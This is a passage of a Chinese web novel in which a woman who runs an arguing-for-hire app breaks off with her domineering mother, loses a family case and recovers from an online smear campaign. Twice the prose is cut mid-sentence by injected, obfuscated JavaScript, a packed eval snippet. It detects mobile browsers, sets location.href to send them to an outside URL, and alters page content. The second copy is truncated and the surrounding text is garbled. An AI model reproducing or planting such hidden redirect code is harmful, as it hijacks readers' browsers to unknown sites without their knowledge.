徐寄遥转过头,看了他一眼。 接过杯子,喝了一口。 水温刚好。 俞彩虹和吴小糖对视一眼,都没说话。 应宽站在那里,也没说话。 就那么站着。 / 过了好一会儿,徐寄遥放下杯子。 她走回电脑前,看着那份报告。 “应宽,把数据再细化一下,营销号分个类,自媒体列个表,水军账号的IP地址都标出来。” 应宽点点头。 “没问题。” 徐寄遥又看向俞彩虹。 “俞老师,你那边有没有认识的自媒体,愿意帮我们发一篇澄清的?” 俞彩虹想了想。 “有几个老关系,但这个节骨眼上,不一定敢接。” 徐寄遥点点头。 “试试吧。” 她转向吴小糖。 “小糖,这几天你也辛苦了,先休息一下。” 吴小糖摇摇头。 “寄遥姐,我不累。” 徐寄遥看着她。 吴小糖的眼睛红红的,但很亮。 “我要看着那些人怎么被打脸。” / 窗外,阳光照进来。 落在徐寄遥身上。 她站在那里,看着窗外。 何久红的话还在耳边。 “你会后悔的。” 她想起那些年,何久红说的每一句话。 “你不听我的,以后会后悔的。” “你现在不听,以后别来找我。” “我是为你好,你怎么就不明白呢?” 听了三十年。 她不想听了。 也不会后悔。 / 下午两点。 应宽把细化后的数据发过来。 “寄遥,整理好了。” 徐寄遥看了一眼。 一百二十七个营销号。 六十八个自媒体。 五千多个水军账号。 她点点头。 “存好,以后用得上。” 应宽说:“好。” 徐寄遥看着窗外。 订单跌了85%。舆论骂了五天。 亲妈的电话,像刀子一样扎过来。 但她站在那里,没有动。 吴小糖看着她的背影,忽然说: “寄遥姐,你刚才……很厉害。” 徐寄遥转过头。 “厉害什么?” 吴小糖说: “你妈那样说你,你还能那么冷静。” 徐寄遥沉默了几秒。 然后她说: “不是冷静,是习惯了。” 42.母女决裂 2025年6月30日,上午九点。 门被砸开的时候,徐寄遥正在看订单数据。 不是敲,是砸。 “砰”的一声巨响,整扇门都在抖。 然后是何久红的声音,尖锐刺耳,穿透了整个工作室。 “徐寄遥!你给我出来!” 徐寄遥的手抖了一下。 她站起来,脸色发白。 门又被砸了一下。 “开门!我知道你在里面!” 徐寄遥走过去,打开门。 何久红站在门口,头发有点乱,眼睛瞪得老大,整个人像一头发怒的母狮。 她一把推开徐寄遥,冲进工作室。 / 何久红的目光扫过屋里,扫过吴小糖,扫过俞彩虹,扫过应宽。 但她只看了一眼,就转回来,死死盯着徐寄遥。 然后她开始骂。 “徐寄遥!你看看你干的好事!” 她的声音太大了,震得窗户都在响。 “网上那些人骂你,骂得多难听你知道吗?说你欺负人,说你卧底,说你骗钱!我这张老脸都被你丢尽了!” 徐寄遥看着她,胸口剧烈起伏。 “妈,你来干什么?” 何久红走到她面前,指着她的鼻子。 “我来干什么?我来看看我女儿还能折腾成什么样!你看看你现在,像个什么样子?跟一群人挤在这个破地方,整天被人骂,你图什么?” 徐寄遥的声音开始发抖。 “妈,你说话注意点。” “注意什么?我说错了吗?”何久红的声音更高了,“我早就跟你说过,别搞这个APP!好好上班不行吗?年薪五十万不香吗?非要自己创业!现在好了吧?被人骂成过街老鼠!” 徐寄遥的眼眶红了。 “妈,你什么都不知道!” “我不知道?我知道什么?我知道我女儿不听我的话,非要折腾!我知道我女儿现在被人骂上热搜!我知道我出门都抬不起头!” 何久红往前走了一步。 “你知道今天早上我出门,邻居怎么看我吗?王阿姨专门跑过来问我,你家遥遥怎么在网上被人骂成那样?你知道我怎么回答吗?我恨不得找个地缝钻进去!” / 徐寄遥的眼泪流下来。 但她的声音,越来越高。 “所以呢?你来骂我一顿,我就回去了?你骂我一顿,事情就解决了?” 何久红愣住了。 “你……你什么意思?” 徐寄遥往前走了一步,离她更近。 “从小到大,你就是这样!我做什么都是错的!我不听你的话,是错的!我听了你的话,做不好,也是错的!我做对了,你从来不夸我!我做错了,你第一个骂我!” 何久红的脸涨红了。 “我骂你?我骂你是因为你做错了!” “我做错了什么?”徐寄遥的声音尖利起来,“我在帮人!我在帮那些被人骗的人!我错在哪儿了?” 何久红被她顶得愣住了。 然后她更怒了。 “帮人?帮人把自己帮成过街老鼠?帮人帮到被人骂上热搜?你帮的那些人呢?现在怎么不出来帮你说话?” 徐寄遥盯着她。 “妈,你就不能有一次,站在我这边吗?” 何久红冷笑。 “站在你这边?站在你这边看着你把自己折腾死?” / 徐寄遥的眼泪一直流。 但她的声音,越来越冷。 “我告诉你,我不会回去的。” 何久红愣住了。 “你说什么?” 徐寄遥一字一句地说: “我说,我不会回去的,这个APP,我会继续做。” 何久红的脸从红变白。 “你……你反了天了!” 她冲上去,伸手就要打徐寄遥。 徐寄遥没躲。 她盯着何久红,一动不动。 何久红的手停在半空。 她看着徐寄遥的眼神,愣了一下。 然后她更怒了。 “你瞪我?你敢瞪我?” 徐寄遥的声音很冷。 “妈,你打,打完了,你还想怎么样?” / 何久红的手放下来。 但她的话,没停下来。 “你以为你这样我就拿你没办法了?你以为你这样就能摆脱我了?” 她的声音越来越高。 “我告诉你,你是我生的!你一辈子都是我女儿!你想跑?你跑得掉吗?” 徐寄遥看着她。 “妈,我三十二岁了。” 何久红愣住了。 徐寄遥继续说: “我三十二岁了,我有自己的工作,有自己的团队,有自己的生活,我不需要你管了。” 何久红的脸涨得通红。 “不需要我管?你翅膀硬了是吧?你忘了是谁把你养大的?你忘了是谁供你上学?你忘了是谁给你饭吃?” 徐寄遥的眼泪又流下来。 “我没忘,我都记得。” 她的声音发抖。 “但我记得的,不止这些。” 她往前走了一步。 “我还记得,我考了第二名,你问我为什么没考第一。我考了第一名,你说那是其他同学没考好。我进了大公司,你说凑合。” 何久红张了张嘴,没说出话。 徐寄遥继续说: “我还记得,我被人欺负,你说肯定是我的错。我生病了,你说我娇气。我想跟你说心里话,你说我矫情。” 她的声音越来越大。 “妈,你是我妈,为什么你从来不维护我?从来没有夸过我一句?” / 何久红的脸从红变白,又从白变红。 “你……你现在是在怪我?” 徐寄遥看着她。 “我不怪你,我只是告诉你,请你不要再这样管我了。” 何久红气得浑身发抖。 “好!好!好!你长大了,翅膀硬了,不要妈了!” 她指着徐寄遥。 “我告诉你,你今天这样对我,你会后悔的!” 徐寄遥看着她。 “妈,我不会后悔。” 何久红愣住了。 徐寄遥的声音很轻,但每一个字都很清晰。 “从今天开始,我不会再让你这样骂我了。” 何久红的眼睛瞪大了。 “你……你个死丫头,你想干什么!” 徐寄遥看着她。 “我要跟你断绝关系。” / 何久红的脸彻底白了。 “你……你敢!” 徐寄遥往前走了一步。 “我敢。” 她的声音越来越冷。 “你再来闹,我们就搬。你找不到我,你骂我,我听不见。你哭,我看不见。你老了,我给你钱养老。但别的,没有了。” 何久红浑身发抖。 “你……你……你这个白眼狼!” 徐寄遥看着她。 “妈,你走吧。” / 何久红站在那里,一动不动。 她看着徐寄遥,看着这个她养了三十多年的女儿。 她的嘴唇在抖,手在抖,整个人都在抖。 她想说什么,但说不出来。 然后她转身,冲向门口。 门被她拉开,又重重地摔上。 整个工作室都在抖。 / 门关上的那一刻,徐寄遥的腿软了。 她扶着桌子,慢慢坐下来。 眼泪一直流。 就那么坐着,眼泪一直流。 吴小糖想过来,被俞彩虹拉住了。 应宽站在那里,看着徐寄遥。 他知道,这个时候,谁都帮不了她。 / 屋里安静了很久。 安静得能听见电脑主机的嗡鸣声。 安静得能听见吴小糖压抑的呼吸声。 安静得能听见徐寄遥眼泪落在地板上的声音。 一滴,一滴,一滴。 吴小糖看着她的背影,想说什么,又咽了回去。 俞彩虹轻轻摇了摇头,示意她别说话。 应宽站在那里,一动不动。 然后,徐寄遥站起来。 她没有看任何人,直接冲进了自己的房间。 门“砰”的一声关上。 紧接着,里面传来嚎啕大哭的声音。 那声音很大,大到隔着一扇门都能听得清清楚楚。 不是压抑的抽泣,不是无声的流泪,是真正的、彻底的、像要把三十年积压的东西全部倒出来的那种大哭。 吴小糖愣住了。 她从没见过徐寄遥这样。 应宽的手指停在键盘上,没有动。 俞彩虹轻轻叹了口气,眼眶也红了。 三个人坐在外面,听着里面的哭声。 谁也没有说话。 谁也说不出一句话。 / 哭了很久。 久到吴小糖以为她会一直哭下去。 但哭声终于停了。 屋里安静下来。 徐寄遥坐在床边,眼泪还在流,但已经不出声了。 脑子里一片空白。 只有何久红的话,一遍一遍地转。 “你会后悔的。” 她闭上眼睛。 然后,那些话开始慢慢退去。 取而代之的,是更久远的记忆。 / 她想起小时候。 八岁那年,她考了全班第一,拿着奖状跑回家。 “妈!我考了第一名!” 何久红看了一眼,淡淡地说:< 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“缺乏共情能力。” “善于制造道德绑架。” “通过贬低他人来抬高自己。” “永远把自己塑造成受害者。” 她看着那些文字,手在发抖。 原来不是她的错。 原来她再怎么努力,也不可能让何久红满意。 因为何久红需要的不是她的优秀,而是她“永远不够优秀”的状态。 只有这样,何久红才能继续站在道德高地上,继续指责她,继续扮演那个“为女儿操碎了心”的母亲。 / 她又想起那些年,家里的气氛。 每次她和爸爸聊得开心,笑声大一点,何久红就会突然出现。 要么挑她的刺,要么挑爸爸的刺。 “你作业写完了吗?在这儿笑?” “你那个工作怎么样了?还有心思聊天?” 气氛瞬间就冷下来。 她和爸爸对视一眼,都不敢再说话。 何久红满意了。 她不知道那时候的何久红在想什么。 但现在她懂了。 何久红需要那种“被冷落”的感觉。 需要那种“你们都不管我”的叙事。 只有在这种叙事里,她才能继续扮演受害者,继续索取关注,继续让所有人都围着她转。 这是一种病。 一种让全家人都活得很累的病。 / 现在,在她事业最低谷的时候,在她被全网骂得最惨的时候,在她最需要有人站在她身边的时候。 何久红来了。 带着谩骂,带着指责,带着“你看吧,不听我的,现在后悔了吧”。 没有一句安慰。 没有一个肯定。 甚至没有一个正常的、母亲该有的拥抱。 她想起何久红刚才说的那些话。 “我这张老脸都被你丢尽了。” “你帮的那些人呢?怎么不出来帮你说话?” “你要是听妈的话,能有今天吗?” 没有一句是问她“你还好吗”。 没有一句是问她“你累不累”。 只有指责。 只有“你错了”。 只有“你对不起我”。 她闭上眼睛。 眼泪又流下来。 但这一次,不是伤心。 是终于看清之后的平静。 / 她站起来,走到洗手间。 打开水龙头,用冷水洗了一把脸。 镜子里的自己,眼睛红肿,脸色苍白,狼狈得很。 她用毛巾擦干脸。 一下,两下,三下。 然后看着镜子里的自己。 “你没错。” 她轻声说。 “你没错。” 然后她推开门,走了出去。 外面三个人都看着她。 吴小糖的眼睛红红的,明显也哭过。 应宽站在那里,看着她。 俞彩虹轻轻点了点头。 徐寄遥走到电脑前,坐下。 “应宽,数据。” 应宽点点头,把电脑转过来。 屏幕上,是这几天的舆情数据。 营销号、自媒体、水军账号,密密麻麻。 徐寄遥看着那些数据,眼睛慢慢眯起来。 她想起何久红的话。 “你会后悔的。” 她不会后悔。 但她会让那些人后悔。 43.林国华的困境(九):不了了之 2025年7月2日,下午三点。 徐寄遥的手机响了。 来电显示:林国华。 她愣了一下,按下接听键。 “林先生?” 电话那头的声音很疲惫,带着一种说不清的愧疚。 “徐老师……我……我对不起你们。” 徐寄遥的心沉了一下。 “林先生,怎么了?你慢慢说。” 林国华沉默了几秒。 然后他说: “我把浩然的信用卡恢复了。” / 徐寄遥没有说话。 林国华继续说,声音沙哑。 “昨天,浩然又来厂里了,不是来砸东西,他来了就一直站在厂门口,也不说话,就一直站。” “从早上八点,站到下午五点,没吃饭,没喝水,就站。” “我实在……看不下去了。” 他的声音有点抖。 “徐老师,我知道你们为了这件事,花了很多精力,小糖老师还被人骂成那样,网上那些事,我和秀芬都看到了,都是因为我们家……” 徐寄遥开口了。 “林先生,您别这么说。” 林国华说: “徐老师,我真的很抱歉,我知道你们的方案是对的,断他钱,让他看清那些人,但是我……我心疼孩子。” 电话那头传来一声叹息。 “他是我儿子,我看着他在那儿站着,一天不吃不喝,我……” 他说不下去了。 / 徐寄遥沉默了几秒。 “林先生,我理解,换做是我们,可能也做不到。” 林国华说: “徐老师,我想……做点什么来弥补,网上那些谣言,我可以帮你们澄清的!” “这几天我一直琢磨这个事,是写文章还是拍视频……我不太会弄网上那些东西,但是我寻思还是应该录个视频,把事情原委说清楚,那天是浩然先砸的机器,你们是我喊过来帮忙的。” 徐寄遥愣了一下。 “林先生,您想好了?如果您录了这个视频,浩然可能会更恨您。” 林国华沉默了几秒。 “唉,他已经恨我和他妈了,再多恨一点,也无所谓了。” 他的声音很轻。 “徐老师,你们帮了我和秀芬那么多,我不能看着你们被网暴。” / 徐寄遥的眼眶热了一下。 但她很快压下去了。 “林先生,您听我说。” 林国华说:“您说。” 徐寄遥说: “第一,您不用觉得抱歉,您给儿子恢复信用卡,是您作为父亲的选择,我们尊重您的选择。” 林国华没说话。 “第二,您不用录视频,现在网上的舆论,不是您一个视频能澄清的,那些网暴我们的人不会看,也不会信。” “第三,您买的是我们的企业定制服务,问题没有解决,是我们的责任,不是您的。” 林国华的声音急了。 “徐老师,这不是你们的责任啊……” 徐寄遥打断他。 “林先生,您听我说完。” 林国华安静了。 徐寄遥说: “您愿意站出来帮我们说话,这份心意,我们团队收到了,谢谢您。” “但这件事,我们会自己处理,您照顾好自己和家里人,就是对我们最大的帮助。” / 挂了电话,徐寄遥站在那里,沉默了很久。 吴小糖走过来。 “寄遥姐,林国华说什么?” 徐寄遥把电话内容复述了一遍。 吴小糖听完,眼眶红了。 “他愿意帮我们录视频?” 徐寄遥点点头。 吴小糖说: “那太好了!有他作证,网上那些造谣的……” 徐寄遥摇摇头。 “不能要。” 吴小糖愣住了。 “啊?为什么?” 徐寄遥看着她。 “小糖,我们是收了人家费用的,这点专业精神一定要有。” 吴小糖没听懂。 徐寄遥说: “林国华买了我们的企业定制服务,19999元,我们的任务是帮他解决家庭纠纷,最后问题没给人家解决,反过来却要客户帮我们澄清,这种事,我做不出来。” 吴小糖张了张嘴,没说出话。 俞彩虹走过来。 “寄遥说得对,我们是服务方,不是被服务方,保护客户隐私本来就是服务的一部分。” 应宽在旁边说: “就算他录了视频,发出去也没用,那些人只会说他是我们找来的人,舆论这种东西,一旦形成定势,一个视频根本扭转不了。” / 吴小糖沉默了。 她想起那些营销号,一篇接一篇地发黑稿。 她想起那些评论,一条比一条恶毒。 她忽然觉得,有点累。 “寄遥姐,那我们这一个月……都白干了?” 徐寄遥看着她。 “小糖,为什么这么想?” 吴小糖说: “林浩然那边,我们失败了,网上这边,我们被骂成狗,订单也断崖式下跌……” 她说不下去了。 徐寄遥沉默了几秒。 然后她示意吴小糖坐下。 “小糖,我问你几个问题。” 吴小糖坐下。 徐寄遥说: “这一个月,你做的事,有没有收获?” 吴小糖想了想。 “有!而且收获很大。” “你在那个群里,看到了什么?” “看到了他们怎么洗脑,怎么让人恨父母,怎么骗钱。” “你收集的证据,有没有用?” 吴小糖想了想。 “有用!那些话术分析,那些截图,以后都能用。” 徐寄遥点点头。 “那就不是白干。” 她顿了顿。 “林浩然那边,我们是没成功,但那些证据,不会白费,迟早有一天,会用上的。” / 俞彩虹走过来,在她们旁边坐下。 “小糖,这个案子,我们确实没赢,但也不能说全输。” 吴小糖看着她。 俞彩虹说: “林浩然现在恢复了信用卡,但他经历了群里的人情冷暖,还能像以前那样信他们吗?” 吴小糖想了想。 “应该……不能了吧。” 俞彩虹点点头。 吴小糖慢慢明白了。 “所以他迟早会醒?” 俞彩虹说: “迟早,不是这次,就是下次,只要他还在那个群里,只要他继续花钱,他就一定会经历第二次、第三次的失望,等到他发现自己换来的只是虚情假意,他就会开始怀疑。” 她看着吴小糖。 “我们做的,不是替他醒,而是让他有醒的机会。” / 徐寄遥接过话头。 “而且,我们收集的那些证据,不是给林浩然一个人用的。” 吴小糖没听懂。 徐寄遥说: “心之愈那个模式,骗的不止林浩然一个,我们手里有他们的课程体系,有他们的话术分析,有他们的社群运营模式,这些东西,以后可以帮更多人。” 她顿了顿。 “林浩然这个案子,是失败了,但我们从中学到的东西,比成功的时候还多。” 俞彩虹点点头。 “成功的案子让你高兴,失败的案子让你成长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331510|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个案子,让我们看清了心之愈的底牌,看清了他们的运作模式,也看清了他们的弱点。” 她看着窗外。 “下一次再遇到类似的案子,我们就不会这么被动了。” / 吴小糖听着,心里的那股憋闷慢慢散开了。 “所以,我们这一个月没白干!” 徐寄遥笑了。 “没白干,只是没赢。” 吴小糖也笑了。 “明白啦!输赢嘛,总有的。” 俞彩虹说: “而且,林国华那个电话,其实说明了一个问题。” 徐寄遥看着她。 俞彩虹说: “他打电话来道歉,说要帮我们录视频,说明他认可我们的工作,认可我们的付出,他虽然对林浩然心软了,但他知道我们的方案是对的。” / 晚上,徐寄遥一个人站在窗边。 她想起林国华的话。 “徐老师,我知道你们的方案是对的,但我狠不下这个心。” 她想起何久红的话。 “你会后悔的。” 她想起网上那些骂声。 “代吵师滚出行业!” 她闭上眼睛。 失败。 这两个字,第一次这么清晰地浮现在脑海里。 她想哭,但理智告诉她,不能哭。 她只是在想,这个失败里,有多少是她的错,有多少是她控制不了的。 林国华心软,是她的错吗? 不是。 林浩然不醒,是她的错吗? 也不是。 她做了她能做的所有事。 她唯一没算到的,是林国华作为一个父亲的心。 那不是她能算的。 / 她睁开眼睛。 转过身。 应宽还坐在电脑前。 吴小糖和俞彩虹已经睡了。 她走过去。 “还不睡?” 应宽抬起头。 “再盯一下数据。” 徐寄遥在他旁边坐下。 两个人沉默了一会儿。 应宽忽然说: “寄遥,这个案子,不是你的错。” 徐寄遥没说话。 应宽说: “心之愈那个体系,不是一天形成的,它背后有和解大师,有伯牙科技,我们一个月,想把它撬动,本来就不现实。” 他看着徐寄遥。 徐寄遥点点头。 “我知道。” 她顿了顿。 “我只是有点累。” / 她放下杯子。 “应宽,你说林浩然会醒吗?” 应宽想了想。 “会,但不是现在。” “为什么?” “因为他还没到绝路,他爸给了他钱,他还有退路,人只有在没有退路的时候,才会真正开始想问题。” 徐寄遥点点头。 “俞老师也是这么说的。” 应宽说: “那说明我们分析得对。” 徐寄遥看着他。 “你什么时候学会分析了?” 应宽愣了一下。 “跟你学的。” 徐寄遥笑了。 那笑容很淡,淡得几乎看不见。 但应宽看到了。 / 工作室里的灯,一直亮着。 徐寄遥坐在那里。 想着林国华的话。 想着何久红的话。 想着网上那些骂声。 然后她站起来。 “睡觉吧,明天还有明天的事。” 应宽点点头。 “好。” 两个人各自回了房间。 灯,灭了。 44.风暴之后(上):消沉 2025年7月5日,凌晨两点。 林浩然的帖子,是这个时候发的。 应宽第一个看到。 标题很简单: 《关于那天的事,我想说几句》 正文不长,但每一个字都很重。 “那天在我爸厂里发生的事,视频里只有一部分。完整的真相是:是我先砸了厂里的机器,代吵的人是在劝我,不是在欺负我。” “我这段时间想了很多。有些事,可能是我看错了。有些人,可能是我信错了。” “不说了。总之,那些骂代吵师的人,可以停了。” 应宽看完,沉默了很久。 然后把截图发给了徐寄遥。 / 7月5日,早上八点。 吴小糖醒来的时候,看到那条消息。 她愣了好几秒。 “应宽哥,这……这是林浩然发的?” 应宽点点头。 吴小糖把帖子看了一遍又一遍。 “他……他居然帮我们说话了?” 俞彩虹走过来,看了一眼。 “林国华让他发的吧。” 吴小糖想了想。 “可能。也可能是他自己想通了。” 应宽说:“不管是谁让发的,这个帖子有用。” 他点开评论区。 风向已经开始变了。 “所以之前那个视频是剪辑过的?” “原来错怪代吵师了……” “我就说那视频看着不对劲!” 也有质疑的。 “现在才出来说?早干嘛去了?” “不会是代吵师逼他发的吧?” “反转反转再反转,累了。” 但质疑的声音,明显比之前弱了。 吴小糖看着那些评论,眼眶红了。 “寄遥姐看到了吗?” 应宽点点头。 “发她了。” / 7月5日,上午九点。 工作室里只有三个人。 应宽坐在电脑前,吴小糖窝在沙发上刷手机,俞彩虹在看书。 徐寄遥的房门还关着。 吴小糖的手机震了一下。 是订单提醒。 她看了一眼,愣住了。 “应宽哥,有订单。” 应宽抬起头。 “什么订单?” 吴小糖念道: “客户ID:想离婚的兔子。诉求:老公出轨,想离婚但不知道怎么开口,需要代吵师帮忙谈判。” 应宽沉默了两秒。 “寄遥现在……” 他没说完。 吴小糖也知道他没说完的是什么。 以前这种订单,都是徐寄遥亲自处理。她有一套完整的话术体系,能从法律、心理、策略三个角度给出方案。 现在徐寄遥在房间里,已经两天没出来了。 俞彩虹放下书,走过来。 “我来吧。” 吴小糖看着她。 “俞老师?” 俞彩虹说: “法律和心理这块,我还是能顶一顶的。先给她一个初步方案,让她去收集证据,约定谈判时间。等寄遥出来了,再细化。” 她接过吴小糖的手机,开始打字。 “客户‘想离婚的兔子’,您的订单已被代吵师‘局内人’接单。关于您的情况,我需要您先提供以下几个信息:结婚年限、是否有子女、财产状况、对方出轨证据……” 吴小糖看着她一条一条发出去。 心想,俞老师认真起来的样子,真专业。 / 上午十点。 应宽也接了一个订单。 是个年轻人,被父母逼婚,想请代吵师帮忙跟父母沟通。 应宽看着那个订单,沉默了几秒。 吴小糖凑过来。 “应宽哥,你能处理吗?” 应宽说: “不能。” 吴小糖愣了一下。 “那怎么办?” 应宽说: “但我可以给他一个技术方案。” 他开始打字。 “客户您好,关于您的情况,我们可以提供以下技术支持:第一,帮您分析父母逼婚的话术逻辑,找到破绽;第二,帮您模拟对话场景,准备应对策略;第三,如果父母采取极端手段,我们可以帮您保留证据。具体操作步骤如下……” 吴小糖看着他一板一眼地回复,忍不住笑了。 “应宽哥,你这回复,像在写代码。” 应宽看了她一眼。 “一样,都是解决问题。” / 上午十点半。 吴小糖的手机又响了。 又是一个订单。 这次是个女孩,被公司领导骚扰,想请代吵师帮忙维权。 吴小糖看着那个订单,手有点抖。 “应宽哥,这个我能接吗?” 应宽看着她。 “你想接?” 吴小糖点点头。 “我想试试。” 应宽说: “那就试。” 吴小糖深吸一口气,开始打字。 她想起之前处理刘小燕案子的过程,想起徐寄遥怎么一步步引导客户,想起俞彩虹怎么分析心理,想起应宽怎么收集证据。 她一条一条写着。 “客户您好,我是代吵师‘金刚芭比’,首先请您保存好所有证据:聊天记录、录音、邮件。其次,不要单独和他相处,尽量在公开场合见面。第三,如果情况严重,可以考虑报警。我们可以帮您起草律师函,也可以陪您去公司交涉……” 写完之后,她发给应宽看。 应宽看完,点了点头。 “可以。” 吴小糖愣了一下。 “真的?” 应宽说: “逻辑清晰,步骤明确,该有的都有。” 吴小糖的眼眶红了。 不是因为被夸。 是因为她忽然发现,这半年多,她已经学会了很多东西。 / 中午十二点。 应宽做了午饭。 四菜一汤。 吴小糖去敲徐寄遥的门。 “寄遥姐,吃饭了。” 没有回应。 她又敲了敲。 “寄遥姐,林浩然发帖子了,帮我们说话了!” 还是没有回应。 应宽走过来,轻轻敲了敲门。 “寄遥?” 安静了几秒。 然后传来徐寄遥的声音,有点沙哑。 “我知道了。” 就三个字。 然后就再没有声音了。 吴小糖站在那里,不知道该说什么。 她看向俞彩虹。 俞彩虹轻轻摇了摇头。 “让她自己待会儿。” 三个人坐在餐桌前,看着那四菜一汤。 没人动筷子。 过了好一会儿,吴小糖说: “寄遥姐不吃,我们也不吃吗?” 俞彩虹说: “吃吧。她出来的时候,还要我们有力气照顾她。” 吴小糖点点头,拿起筷子。 / 下午两点。 又有新订单进来。 吴小糖的手机响个不停。 她一边接单,一边处理,一边还要分心去看徐寄遥的门有没有开。 俞彩虹也在帮忙。 她处理了两个离婚咨询,一个职场PUA,一个亲子矛盾。 应宽在处理技术类订单,帮几个客户分析聊天记录,追踪IP地址。 三个人分工明确,竟然把订单处理得井井有条。 吴小糖忽然说: “俞老师,我们好像……也能行?” 俞彩虹笑了。 “本来就该能行,寄遥在的时候,是她带着我们。她不在,我们也不能停下来。” 吴小糖点点头。 她看着那些订单,一条一条回复。 心里忽然有一种奇怪的感觉。 好像自己真的长大了。 / 下午四点。 吴小糖去洗手间,路过徐寄遥门口。 她停了一下,贴在门上听。 里面很安静。 没有哭声,没有动静。 她有点担心,但又不敢敲门。 回到客厅,她小声问应宽: “应宽哥,寄遥姐会不会有事?” 应宽沉默了几秒。 “不会。” 他顿了顿。 “她只是需要时间。” 吴小糖点点头。 但心里还是有点慌。 / 下午五点。 又有订单进来。 这次是个中年男人,想请代吵师帮忙跟儿子沟通。 吴小糖看着那个订单,忽然想起林国华。 她愣了一下,摇摇头,把那个念头甩开。 继续处理订单。 / 晚上七点。 应宽做了晚饭。 吴小糖又去敲徐寄遥的门。 “寄遥姐,吃晚饭了。” 没有回应。 她站在那里,等了一会儿。 还是没有回应。 她回头看应宽。 应宽走过来,敲了敲门。 “寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但心里还是忍不住想。 寄遥姐,快点好起来吧。 我们都在等你。 / 7月7日,上午十点半。 徐寄遥的房门,开了。 她走出来,换了衣服,洗了脸。 眼睛没那么肿了。 吴小糖立刻站起来。 “寄遥姐!” 徐寄遥点点头。 走到沙发边,坐下。 吴小糖小心翼翼地问: “寄遥姐,你……你好点了吗?” 徐寄遥沉默了几秒。 “好点了。” 就三个字。 但吴小糖的眼眶红了。 “那就好……那就好……” / 7月7日,中午十二点。 四个人一起吃饭。 徐寄遥吃了小半碗饭。 俞彩虹开口了。 “寄遥,林浩然那个帖子,你看了吗?” 徐寄遥点点头。 “看了。” 俞彩虹说: “现在网上风向变了。虽然还有人在骂,但比之前好多了。” 徐寄遥抬起头,看着她。 “俞老师,我知道你们在安慰我。” 俞彩虹愣了一下。 徐寄遥说: “我没事,就是需要缓一缓。” 她顿了顿。 “这几天,让你们担心了。” / 晚上,徐寄遥站在窗边。 应宽走过来,站在她旁边。 “想什么呢?” 徐寄遥沉默了几秒。 “在想,接下来怎么办。” 应宽说: “不管怎么办,我们都跟你一起。” 徐寄遥转过头,看着他。 他站在那里,一米八五的个子,像一堵墙。 他从来不说什么。 只是站在那里。 她点点头。 “好。” 窗外,夜色很深。 两个人站在那里,没开灯。 就那么站着。 45.风暴之后(下):迷茫 2025年7月10日,上午九点。 徐寄遥从房间里走出来。 脸上有了点血色。齐肩短发稍微整理过,不再是前两天那样乱糟糟的。 她站在门口,阳光从窗户照进来,落在她身上。 吴小糖看到她,愣了一下。 “寄遥姐,你……” 徐寄遥点点头。 “早。” 就一个字。 但吴小糖的眼眶红了。 这是四天来,徐寄遥第一次主动打招呼。 / 应宽从电脑前抬起头,看了她一眼,没说话。 俞彩虹放下书,冲她点了点头。 徐寄遥走到自己的位置,坐下。 电脑屏幕亮着,后台数据还在那里。 她盯着屏幕,看了很久。 / 上午九点半。 徐寄遥开始翻订单记录。 一条一条,往下翻。 6月23日,那天的订单特别多。 她想起那天,是林浩然闹厂的日子。也是舆论开始发酵的日子。 她继续往下翻。 6月24日,订单开始跌。 6月25日,继续跌。 6月26日,跌得更狠了。 6月27日,600单。 6月28日,400单。 …… 那条曲线,从6月23日的2800,跌到6月28日的400。 然后在谷底趴了几天,慢慢开始爬升。 她盯着那个谷底数字,看了很久。 400单。比最高峰跌了85%。 / 上午十点。 徐寄遥开始算收入。 代吵APP从6月1日开始收费。 基础版免费。专业版199元一单。会员月卡99元,季卡199元,年卡499元。企业定制19999元起。 她一笔一笔算。 6月份真正付费的专业版订单,不到200单。会员卡卖出去一些,但大部分是月卡。 企业定制只有林国华那一单,但那是在7月份交的钱,算不到6月里。 她算了很久。 算出来一个数字。 两万三千多。 她盯着那个数字,看了很久。 两万三千多。 刚好够交下个月的服务器费用。 刚好够发应宽他们三个人下个月的工资。 她靠在椅背上。 脑子里闪过很多画面。 半年的努力,无数个熬夜的晚上,几百个求助的订单。 罗贝妮的案子。林浩然的案子。网上的骂声。何久红的大闹。 就换来这两万三千多。 / 中午吃饭的时候,吴小糖把菜端上桌。 应宽做了四菜一汤。 吴小糖招呼她。 “寄遥姐,吃饭了!” 徐寄遥走过去,坐下。 拿起筷子,夹了一口菜。 嚼了嚼,咽下去。 又夹了一口。 吃了小半碗饭。 然后放下筷子。 “你们慢慢吃。” 她站起来,走回窗边。 / 吴小糖看着她的背影,想说什么,又咽回去了。 应宽没说话,继续吃饭。 俞彩虹也没说话。 但三个人,都吃得很慢。 一顿饭,吃了很久。 吃完饭,吴小糖忍不住了。 “寄遥姐这几天一直这样,我们得想想办法啊。” 应宽看着她。 “什么办法?” 俞彩虹点点头。 “小糖说得对,是时候想想下一步了。” / 下午一点。 吴小糖走到窗边。 “寄遥姐,咱们开个会吧。” 徐寄遥转过头。 吴小糖说: “网上那波过去了,林浩然的案子也差不多了,咱们该想想下一步了。” 徐寄遥沉默了几秒,点点头。 “好,那就开个会。” 她走回沙发边,坐下。 四个人围坐在一起。 徐寄遥先开口。 声音比前几天稳了一些,虽然还有些沙哑,但已经恢复了那种熟悉的干练。 “既然要开会,我先总结一下上半年的运营情况。” 吴小糖愣了一下。 她本来只是想让徐寄遥参与讨论,没想到徐寄遥直接开始做总结报告。 应宽放下手机,认真听起来。 俞彩虹也往前坐了坐。 徐寄遥打开手机,翻出文档。 “从几个维度来看。” “第一,用户数据。上半年累计注册用户23万,日活峰值5800,最低谷跌到900。现在恢复到4200左右,付费转化率约8%。” “第二,订单数据。累计订单8.7万单,其中专业版订单1.2万单,会员卡销售月卡8000张,季卡3000张,年卡500张,企业定制1单。” 